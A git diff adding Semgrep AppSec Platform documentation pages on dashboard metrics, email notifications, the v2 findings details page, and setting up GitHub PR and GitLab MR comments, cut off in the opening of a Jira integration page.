+| Total opened | Total number of findings set to **Open** during the time period. This includes new findings as well as re-opened findings that were previously in a different state. |
+| Total fixed | Total number of **Fixed** findings during the time period that **remained** fixed until the end of the time period. |
+| Total ignored | Total number of **Ignored** findings during the time period that **remained** ignored until the end of the time period. **Ignored** findings includes those with a status of **Provisionally ignored**. |
+| Total net new | The difference between the number of **Open** findings at the beginning of the time period and the end of the time period. |
+
+
+**TIP**
+
+A low or negative value for **Total net new** is ideal. It indicates that, within the period, more findings are being triaged or resolved than opened. This reduces the backlog of security issues.
+
+
+### Charts
+
+| Chart | Description |
+| :--- | :--- |
+| Open backlog | This tracks the total findings from each scan and displays them. Lower values are better.
Hover over the chart to see a breakdown of findings by product for the selected time period. |
+| Backlog activity | Displays the number of new, net new, fixed, and ignored, including provisionally ignored, findings. A greater **Fixed** value is better.
Hover over the chart to see a breakdown of findings by triage state for that selected time period. |
+
+
+## Secure guardrails
+
+This provides an overview of how secure guardrails in **PR or MR comments** are used in your organization, including how often Semgrep shows findings to developers, how the developers handle the findings, and how often Semgrep flags a finding as provisionally ignored.
+
+Other guardrail interfaces, such as the IDE or `pre-commit`, are not counted in this section.
+
+### Key metrics
+
+| Key metrics | Description |
+| :--- | :--- |
+| Findings shown to devs | Number of findings shown to developers in PR or MR comments (the numerator) against the total findings count (denominator). An upward or stable trend is better. |
+| Findings fixed in development | Number of findings that were fixed before they could be detected in a default branch or production backlog (numerator) against the total findings count in the specified time period (denominator). An upward or stable trend is better.
Hover over the chart to see a breakdown of findings by triage state for that selected time period. |
+
+### Charts
+
+| Chart | Description |
+| :--- | :--- |
+| Secure guardrails adoption | Percent of new findings shown to developers over the specified time period. An upward or stable trend is better. |
+| Guardrails activity | This chart displays a breakdown of the status of findings shown to developers; whether they were ignored, provisionally ignored, fixed, or remained open. A greater **Fixed** value is better.
Hover over the chart to see a breakdown of findings by triage state for that selected time period. |
+
+## Most findings by project
+
+A table listing projects from most open findings to least, grouped by product or severity. Lower values are better.
+
+
+**TIP**
+
+It is recommended to prioritize triage and remediation for the top projects listed in this table, especially if the priority filters are enabled.
+
+
+## Median open age
+
+A chart displaying the median open age of a finding in **days** over the specified time period. Lower is better.
+
+For a finding to be remediated, it must have any of the following statuses:
+
+- Fixed
+- Ignored, including provisionally ignored
diff --git a/mintlify-docs/semgrep-appsec-platform/email-notifications.mdx b/mintlify-docs/semgrep-appsec-platform/email-notifications.mdx
new file mode 100644
index 0000000000..3acb1ecc30
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/email-notifications.mdx
@@ -0,0 +1,51 @@
+---
+title: "Receive email notifications"
+sidebarTitle: "Email"
+description: "You can receive emails from Semgrep regarding **new findings** and **failed scans**."
+---
+
+Perform these steps in Semgrep AppSec Platform to create an email integration and receive notifications:
+
+
+
+Create an email integration:
+
+ i. On the navigation menu, click ** Settings > Integrations > Add**.
+
+ ii. Click on **Email**.
+
+ iii. Enter a **Name** for the integration.
+
+ iv. Enter the **Email** address to receive Semgrep findings.
+
+ v. Click **Subscribe**.
+
+
+Turn notifications on:
+
+ i. Click **Rules > Policies > Rule Modes**.
+
+ ii. Click the **Edit** button of the Rule Mode for which you want to receive email notifications. For example, if you want to be notified of all blocking findings through email, click the **Edit** button of the **Block** mode.
+
+ iii. Repeat the previous step for all Rule Modes that you want to receive notifications for.
+
+
+
+
+## Notification and alert de-duplication
+
+Notifications are sent only the first time a given finding is detected.
+
+When running a diff-aware scan, Semgrep doesn't notify you when a pull request has a finding that existed on the base branch already, even if that line is moved or re-indented.
+
+Semgrep also tracks notifications that have already been sent, so subsequent scans of the same changes in a pull request won't result in duplicate notifications.
+
+
+**NOTE**
+
+See [Findings in CI](/semgrep-ci/findings-ci) for more information about how Semgrep tracks a finding through its lifetime.
+
+
+### Number of emails
+
+Emails about new findings are triggered only once. These emails also include a **summary** of current open findings.
diff --git a/mintlify-docs/semgrep-appsec-platform/findings-details.mdx b/mintlify-docs/semgrep-appsec-platform/findings-details.mdx
new file mode 100644
index 0000000000..5c5e1f345e
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/findings-details.mdx
@@ -0,0 +1,74 @@
+---
+title: "Details page for findings v2"
+---
+
+
+**NOTE**
+
+This document describes the **findings details page v2**, a feature generally available as of 20 June 2025. This feature supersedes the earlier finding details page, hereafter referred to as v1.
+
+Refer to this document to understand changes between the two versions.
+
+
+Analyze and triage complex findings by reviewing the finding's specific details page, which contains the following information:
+
+- Critical data about the finding's severity that may affect triage actions and remediation. This includes its reachability if it is a Supply Chain finding, or if it is a validated secret for Semgrep Secrets findings.
+- Any activity performed on the finding: when it was opened, triaged, reopened, or fixed as well as the user responsible for the activity.
+- Information about the vulnerability detected by the finding, such as its OWASP category, CWE or CVE, or severity.
+- Details about the relevant lines of code, including data flow traces.
+
+## Differences between the v1 and v2 details pages
+
+### Added to v2
+
+- **Alert boxes** now appear at the top of the page. If a finding is reachable, if Semgrep Multimodal thinks a finding is false positive, or if a secret finding is validated, Semgrep immediately places this information at the top of the page.
+- An **Analyze** button provides you with the option to generate an Multimodal fix if one doesn't exist.
+- The following fields have been added to **Rule details**:
+ - CWE or CVE
+ - OWASP categories
+
+### Changed or moved
+
+- The details page has been unified for all Semgrep products.
+- Various elements have been moved.
+ - **Rule details** are now at the right-side column and provide additional information, such as the **CWE or CVE**.
+ - **Finding details** are now at the right-side column.
+ - The **Activity** panel, which tracks all actions the finding has undergone, has been moved to the bottom of the page.
+- **References**, situated below the description, are now collapsible.
+- **Your code** and **Data flow** panels are now combined. These were previously separate tabs.
+- The code committer's **name** has been moved to the commit hash.
+- Semgrep Multimodal's component tags have been moved to the **Finding details** panel.
+- **Branch or ref** information is now visible in **Findings details**.
+
+### Removed from v2
+
+- Rule pattern information. Previously, the **Pattern** tab in the code snippets panel provided the full rule pattern.
+- Rule metadata as a YAML snippet. Certain metadata fields, such as its `cwe` and `owasp` categories have been added to the **Rule details** panel.
+
+### Screenshots
+
+
+
+
+
+
+
+
+
+
+**A - Alert boxes**
+Alert boxes now display critical triage information.
+
+**B - Rule details and finding details**
+These details are now presented at the right sidebar and provide additional metadata.
+
+**C - Your code and dataflow panels**
+The relevant lines of code of the match and the dataflow graph are now presented side-by-side. The rule pattern tab has been removed and Rule metadata is presented as part of the rule or finding details rather than as a YAML snippet.
+
+**D - Multimodal generated fix**
+Generate and view a Semgrep Multimodal fix. You can also customize the fix provided by the Multimodal.
+
+**E - Activity**
+All triage activity pertaining to the finding.
+
+
diff --git a/mintlify-docs/semgrep-appsec-platform/github-pr-comments.mdx b/mintlify-docs/semgrep-appsec-platform/github-pr-comments.mdx
new file mode 100644
index 0000000000..7647951e6a
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/github-pr-comments.mdx
@@ -0,0 +1,345 @@
+---
+title: "Set up GitHub pull request comments"
+sidebarTitle: "GitHub PR comments"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+- You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
+
+
+Semgrep can create **pull request (PR) comments** in your GitHub repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards to help their fellow developers write safe and standards-compliant code.
+
+Semgrep findings are typically posted in your PR or MR. The following image displays the parts of a Semgrep PR comment in GitHub; this example appears in a similar form in GitLab and other SCMs:
+
+
+
+
+
+**A - Block indicator**
+This appears if a finding fails the CI job. Organizations typically block PRs or MRs with failed jobs.
+
+**B - Finding description**
+ A human-written description always appears in a PR or MR comment, describing why your code is flagged. **References** may also be included to help you learn more about the finding.
+
+**C - Dataflow graph**
+Some Code findings have a dataflow graph, which indicates that the finding was detected through %%taint analysis|taint_analysis%%. The dataflow graph provides the lines of code identifying sources, sinks, and traces of unsanitized data flowing through your program. You can click the links on the boxes to take you to the lines of code.
+
+**D - Resolution or remediation section**
+Various options are provided to help your resolve the finding. Depending on the type of finding, resolution options may vary.
+
+**E - Ignore instructions**
+Click to view instructions about how to ignore the finding by replying to the comment.
+
+Depending on the features you have enabled, your PR comment can also appear more straightforward:
+
+
+
+
+
+## Conditions for PR comment creation
+
+PR comments appear for the following types of scans under these conditions:
+
+| Type of scan | Product name | Trigger condition | How to set up |
+| :--- | :--- | :--- | :--- |
+| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
+| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
+| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1.[Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
+
+Comments from Supply Chain scans include the following information:
+
+**Risk**
+A description of the vulnerability, including the types of attack it is vulnerable to.
+
+**Fix**
+Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
+
+**Reference**
+A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
+
+
+## Steps to set up PR comments
+
+### Prerequisites
+
+In addition to finishing the previous steps in your deployment journey, it is recommended to have completed a **full scan** on your **default branch** for the repository in which you want to receive comments.
+
+### Confirm your Semgrep account's connection
+
+Confirm that you have the correct connection and access:
+
+
+
+In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
+
+
+Check that an entry for your GitHub org exists and is correct.
+
+
+
+### Confirm repository access
+
+Ensure that Semgrep's GitHub app (`semgrep-app`) has sufficient permissions to post PR comments:
+
+
+
+Navigate to your `semgrep-app` settings:
+
+ i. For personal accounts, navigate to the following URL `https://github.com/settings/installations`.
+
+ ii. For organization accounts, navigate to the following URL, substituting YOUR_ORG_NAME with the name of your account: `https://github.com/organizations/YOUR_ORG_NAME/settings/installations`.
+
+
+On the `semgrep-app` row, click **Configure**.
+
+
+Check that you have granted the following permission: `Read and write access to actions, pull requests, secrets, security events, and workflows`.
+
+
+Under **Repository access**, check that you have included the repositories that you added to Semgrep AppSec Platform. Review the following examples:
+
+
+
+
+
+
+
+
+
+
+
+For GitHub Actions users, no further steps need to be undertaken. Continue setting up PR comments by configuring comments for Semgrep Code.
+
+### Required environment variables
+
+For CI providers aside from GitHub Actions, additional environment variables must be set:
+
+- SEMGREP_PR_ID is set to the PR number of the pull request on GitHub Actions.
+- [`SEMGREP_REPO_NAME`](/semgrep-ci/ci-environment-variables/#semgrep_repo_name) is set to the repository name.
+- [`SEMGREP_REPO_URL`](/semgrep-ci/ci-environment-variables/#semgrep_repo_url) is set to the repository URL where your project is viewable online.
+
+These values do not have to be fixed or hardcoded. They can be variables passed to the job. For more information, see [ Sample CI configurations](/semgrep-ci/sample-ci-configs).
+
+### Configure comments for Semgrep Code
+
+In addition to setting up the connection between Semgrep and GitHub, you must assign rules to Comment or Block mode. This customization enables you to:
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
+
+
+Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
+
+
+Optional: Use the filters to quickly find rules to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Code.
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+If you are using **GitHub Actions** to run Semgrep, no extra changes are needed to receive PR comments.
+
+### Configure comments for Semgrep Secrets
+
+
+In addition to setting up the connection between Semgrep and GitHub, you must assign rules to Comment or Block mode. This customization enables you to:
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Secrets.
+
+
+#### Validation state policies
+
+Validation state policies allow you to define how Semgrep handles the following issues:
+
+- **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
+- **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
+
+To edit the policy for invalid secrets and errors:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Click **Validation State Policies**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
+
+
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Supply Chain
+
+To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
+
+See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
+
+### Receive comments in your VPN or on-premise SCM
+
+If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you may need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
+
+```bash
+# Ingress IP addresses (from Semgrep to your infrastructure)
+# and egress IP addresses (from your infrastructure to Semgrep)
+35.166.231.235
+52.35.248.246
+52.34.137.110
+44.225.64.41
+```
+
+#### Additional egress IP addresses
+
+You must also add **CloudFront IP addresses** to your **egress** allowlist. Refer to [ Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
+
+
+#### Test your configuration
+
+Test that you are able to receive findings by manually triggering a scan through your CI provider.
+
+Receiving PR or MR comments may require additional steps depending on the custom configuration of your VPN or SCM (for example, if you use a static IP without a hostname). Reach out to [Semgrep Support](/support) with any concerns.
+
+You've set up PR comments! Enable optional features provided in the following sections, or see [Next steps](#next-steps).
+
+## Optional features
+
+### Enable Rule-defined fix in GitHub repositories
+
+[Rule-defined fix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
+
+To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
+
+
+
+In Semgrep AppSec Platform, go to **Settings > General > Code**.
+
+
+Click the **Rule-defined fix ** toggle to enable this feature.
+
+
+
+### Dataflow traces in PR comments
+
+With **dataflow traces**, Semgrep Code provides you a visualization of the path of tainted, or untrusted, data in specific findings. This path can help you track the sources and sinks of the tainted data as they propagate through the body of a function or a method. For general information about taint analysis, see [Taint tracking](/writing-rules/data-flow/taint-mode/overview).
+
+You can view dataflow traces in the PR comments created by Semgrep Code running in your CI/CD system.
+
+#### View the path of tainted data in PR comments
+
+To enable dataflow traces feature in your CI pipeline, fulfill the following prerequisites:
+
+- Set up Semgrep to post GitHub PR comments, as described on this page.
+- To obtain meaningful results of dataflow traces in PR comments, use [rules with taint tracking](/writing-rules/data-flow/taint-mode/overview) while scanning your repositories.
+- Not all Semgrep rules or rulesets make use of taint tracking. Ensure that you have a ruleset that does, such as the **default ruleset**, added in your **[Policies](https://semgrep.dev/orgs/-/policies)**. To add this ruleset, navigate to [https://semgrep.dev/p/default](https://semgrep.dev/p/default), and then click **Add to Policies**.
+- You can add additional rules that use taint tracking from [Semgrep Registry](https://semgrep.dev/explore).
+
+### Prevent developers from merging a PR with a reachable vulnerability
+
+You can use GitHub's [feature requiring conversation resolution before merging](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging) to prevent PRs from merging when Semgrep detects a reachable finding and leaves a comment.
+
+### Customize PR comments
+
+You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
+
+
+
+
+
+To provide custom PR comments:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
+
+
+Navigate to **Settings > General > Global**.
+
+
+Go to the **Custom PR/MR comments footers** section.
+
+ 
+
+
+
+
+Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports HTML, Markdown, and plaintext links in your message.
+
+
+Click **Save changes**.
+
+
+
+## Next steps
+
+You've finished setting up a core deployment of Semgrep 🎉.
+
+- Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
+
+## Additional references
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/gitlab-mr-comments.mdx b/mintlify-docs/semgrep-appsec-platform/gitlab-mr-comments.mdx
new file mode 100644
index 0000000000..357b019fd1
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/gitlab-mr-comments.mdx
@@ -0,0 +1,306 @@
+---
+title: "Set up GitLab merge request comments"
+sidebarTitle: "GitLab MR comments"
+---
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+- You have successfully added a [Semgrep job](/deployment/add-semgrep-to-ci) to your CI workflow with [diff-aware scanning](/deployment/customize-ci-jobs/#set-up-diff-aware-scans).
+
+
+Semgrep can create **merge request (MR) comments** in your GitLab repository. These comments provide a description of the issue detected by Semgrep and may offer possible solutions. These comments are a means for security teams, or any team responsible for creating standards, to help their fellow developers write safe and standards-compliant code.
+
+Automated comments on GitLab merge requests are displayed as follows:
+
+
+
+
+
+## Conditions for MR comment creation
+
+MR comments appear for the following types of scans under these conditions:
+
+| Type of scan | Product name | Trigger condition | How to set up |
+| :--- | :--- | :--- | :--- |
+| Static application security testing (SAST) | Semgrep Code | A comment appears when a finding is generated by a rule in **Comment or Block mode**. This means you can fully customize what comments your developers receive. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Code](#configure-comments-for-semgrep-code). |
+| Software composition analysis (SCA) | Semgrep Supply Chain (SSC) | A comment appears based on the conditions you explicitly set in a [Supply Chain policy](/semgrep-supply-chain/policies) or when Semgrep detects a [license violation](/semgrep-supply-chain/license-compliance). | To receive Supply Chain comments, complete the steps in [Confirm account connection and access](#confirm-your-semgrep-accounts-connection) and [set up a policy](/semgrep-supply-chain/policies).
To receive license violation comments, [enable dependency search](/semgrep-supply-chain/dependency-search#enable-and-use-dependency-search). |
+| Secrets | Semgrep Secrets | A comment appears when a finding is generated by a rule in **Comment or Block mode**. A comment also appears for invalid findings and validation errors if these conditions are set to **Comment or Block mode**. | Complete the steps in the following sections: 1. [Confirm your Semgrep account's connection and access to your source code manager](#confirm-your-semgrep-accounts-connection). 2. [Configure comments for Semgrep Secrets](#configure-comments-for-semgrep-secrets). |
+
+Comments from Supply Chain scans include the following information:
+
+**Risk**
+A description of the vulnerability, including the types of attack it is vulnerable to.
+
+**Fix**
+Indicates what versions to upgrade to, if any, that resolves or eliminates the vulnerability.
+
+**Reference**
+A link to additional information about the vulnerability from its source, such as the [GitHub Advisory Database](https://github.com/advisories) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln), if available.
+
+
+## Steps to set up MR comments
+
+### Confirm your Semgrep account's connection
+
+PR comments are enabled by default for users who have connected their GitLab group to Semgrep AppSec Platform. Confirm that you have the correct connection and access:
+
+
+
+In your Semgrep AppSec Platform account, click **Settings > Source code managers**.
+
+
+Check that an entry for your GitLab group exists and is correct.
+
+
+
+#### Triage through MR comments
+
+Developers can triage Semgrep findings without leaving GitLab by responding to the MR comments authored by Semgrep. To use this feature, you must have a paid GitLab plan, and must update your source code manager (SCM) connection to use an access token with an elevated role. This allows you to enable webhooks, which Semgrep requires for the triage through MR comments feature.
+
+Ensure that you're using one of the following GitLab plans:
+ - GitLab Premium
+ - GitLab Ultimate
+ - GitLab Self Managed
+
+
+
+Log in to GitLab, and create an access token with access to the desired GitLab groups. Assign the `api` scope and one of the following roles:
+ - `Owner`
+ - `Admin`
+
+
+Return to Semgrep and [ sign in](https://semgrep.dev/login).
+
+
+Go to ** Settings > Source code managers**, and find your GitLab connection.
+
+
+Click **Update access token**.
+
+
+In the **Update access token** dialog that appears, provide the new token you created. Click **Update** to save and proceed.
+
+
+Toggle the **Incoming webhooks** setting on.
+
+
+
+Once you've successfully enabled webhooks and the **Triage via code review comments** toggle is on, you can change the role for the token you provide to Semgrep to one that's more restrictive, such as `Developer`.
+
+### Configure comments for Semgrep Code
+
+
+In addition to setting up the connection between Semgrep and GitLab, you must assign rules to Comment or Block mode. This customization enables you to:
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In your Semgrep AppSec Platform account, click **Rules > Policies** to enter the **Policies** page. Under **Modes **, you can quickly see if you have existing rules in either Comment or Block mode.
+
+
+Optional: To configure Semgrep Secrets rules, click the **Secrets** tab.
+
+
+Optional: Use the filters to quickly find rules to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Code.
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Secrets
+
+
+In addition to setting up the connection between Semgrep and GitLab, you must assign rules to Comment or Block mode. This customization enables you to:
+
+
+- Manage the amount of PR comments your developers receive.
+- Ensure that only rules that meet your criteria, such as high severity or high confidence rules, and result in findings involving valid secrets produce comments visible to developers, reducing noise.
+
+#### Set rules to Comment or Block mode
+
+The following instructions let you customize what findings or security issues your developers see as comments in their PRs:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Under **Modes **, you can see if you have existing rules in either Comment or Block mode. You can also use the filters to find rules you want to set to Comment or Block.
+
+
+Click the ** checkbox** of the rules you want to set. You can use Ctrl + Click to select rules in bulk.
+
+
+Click **Change modes**.
+
+
+Click either **Block** or **Comment**.
+
+
+
+You have successfully configured PR comments for Semgrep Secrets.
+
+#### Validation state policies
+
+Validation state policies allow you to define how Semgrep handles the following issues:
+
+- **Invalid findings**: the secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. For example, a Semgrep rule that tests GitHub credentials may return an invalid finding if Semgrep can't communicate with an on-premise deployment.
+- **Validation errors**: Semgrep was unable to reach the secrets provider to test the validity of the credential, or Semgrep received an unexpected response from the API
+
+To edit the policy for invalid secrets and errors:
+
+
+
+In Semgrep AppSec Platform, go to **Rules > Policies > Secrets**.
+
+
+Click **Validation State Policies**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Invalid findings**.
+
+
+Choose the mode, either Comment or Block, that you want Semgrep to set for **Validation errors**.
+
+
+
+
+**TIP**
+
+Rules in Block mode fail the CI job that runs on the PR. Depending on your workflow, this may prevent your PR from merging.
+
+
+### Configure comments for Semgrep Supply Chain
+
+To configure comments for Supply Chain, you must define a Supply Chain policy. This policy lets you set the specific conditions, such as transitivity and reachability, that trigger a comment. These conditions are unique to Supply Chain findings.
+
+See the [Policies documentation](/semgrep-supply-chain/policies) for more information.
+
+### Receive comments in your VPN or on-premise SCM
+
+If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you may need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
+
+```bash
+# Ingress IP addresses (from Semgrep to your infrastructure)
+# and egress IP addresses (from your infrastructure to Semgrep)
+35.166.231.235
+52.35.248.246
+52.34.137.110
+44.225.64.41
+```
+
+
+#### Additional egress IP addresses
+
+You must also add **CloudFront IP addresses** to your **egress** allowlist. Refer to [ Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
+
+
+#### Test your configuration
+
+Test that you are able to receive findings by manually triggering a scan through your CI provider.
+
+Receiving PR or MR comments may require additional steps depending on the custom configuration of your VPN or SCM (for example, if you use a static IP without a hostname). Reach out to [Semgrep Support](/support) with any concerns.
+
+You've set up MR comments! Enable optional features provided in the following sections, or see [Next steps](#next-steps).
+
+## Optional features
+
+### Enable Rule-defined fix in GitLab repositories
+
+[Rule-defined fix](/writing-rules/rule-defined-fix) is a Semgrep feature in which rules contain suggested fixes to resolve findings.
+
+To enable **Rule-defined fix** for all projects in your Semgrep AppSec Platform organization, follow these steps:
+
+
+
+In Semgrep AppSec Platform, go to **Settings > General > Code**.
+
+
+Use the **Rule-defined fix ** toggle to enable this feature.
+
+
+
+### Dataflow traces in MR comments
+
+With **dataflow traces**, Semgrep Code provides you a visualization of the path of tainted, or untrusted, data in specific findings. This path can help you track the sources and sinks of the tainted data as they propagate through the body of a function or a method. For general information about taint analysis, see [Taint tracking](/writing-rules/data-flow/taint-mode/overview).
+
+You can view dataflow traces in the MR comments created by Semgrep Code.
+
+#### View the path of tainted data in MR comments
+
+To enable dataflow traces in your MR comments, fulfill the following prerequisites:
+
+- Set up Semgrep to post GitLab merge request comments, as described on this page.
+- To get the most meaningful results of dataflow traces in MR comments, use cross-file analysis while scanning your repositories. To enable cross-file analysis, see [ Perform cross-file analysis](/semgrep-code/semgrep-pro-engine-intro).
+- Not all Semgrep rules or rulesets make use of taint tracking. Ensure that you have a ruleset such as the **default ruleset** added to your **[Policies](https://semgrep.dev/orgs/-/policies)**. If this ruleset is not added, go to [https://semgrep.dev/p/default](https://semgrep.dev/p/default), and then click **Add to Policy**. You can add rules that use taint tracking from [Semgrep Registry](https://semgrep.dev/explore).
+
+### Customize MR comments
+
+You can customize the comments Semgrep leaves on your PR. Custom comments allow you to direct your teams to the resources they need to handle the vulnerabilities Semgrep identifies in their code.
+
+
+
+
+
+To provide custom PR comments:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login?).
+
+
+Navigate to **Settings > General > Global**.
+
+
+Go to the **Custom PR/MR comments footers** section.
+
+ 
+
+
+
+
+Provide a custom comment for each Semgrep product whose findings you want to generate a PR comment. Semgrep supports HTML, Markdown, and plaintext links in your message.
+
+
+Click **Save changes**.
+
+
+
+## Next steps
+
+You've finished setting up a core deployment of Semgrep 🎉.
+
+- Explore recommended tasks after deployment in [ Beyond core deployment](/deployment/beyond-core-deployment).
+
+## Additional references
+
+
+
+
+
diff --git a/mintlify-docs/semgrep-appsec-platform/jira.mdx b/mintlify-docs/semgrep-appsec-platform/jira.mdx
new file mode 100644
index 0000000000..0df471d001
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/jira.mdx
@@ -0,0 +1,541 @@
+---
+title: "Create Jira tickets"
+sidebarTitle: "Jira"
+description: "The Semgrep Jira integration allows you to create Jira tickets based on your Semgrep Code, Supply Chain, and Secrets findings."
+---
+
+## Prerequisites
+
+- You must have a **Jira Cloud** plan. Jira Data Center (self-managed or on-premise) is not supported.
+- You must have at least one Jira project to set as the default location where tickets will be created.
+- Optional, but recommended: A [service account](https://support.atlassian.com/user-management/understand-service-accounts/) to set up and configure the Jira integration.
+
+## Features
+
+The Semgrep Jira integration provides the following capabilities:
+
+- You can create tickets for findings from Semgrep Code, including those from AI-powered detection, Supply Chain, and Secrets.
+- You can create a single ticket for multiple findings (up to 75) that were detected by a single rule in the same project, or create individual tickets per finding.
+- You can automate the creation of tickets for critical or high severity findings. See [Automatic creation of tickets](#automatic-creation-of-tickets) for more details.
+- Tickets can be created in **multiple Jira projects** if manually specified at ticket creation time.
+
+
+## Limitations
+
+- You can only create **one Jira integration** per Semgrep account or deployment.
+- You can only use **one subdomain** per Jira integration.
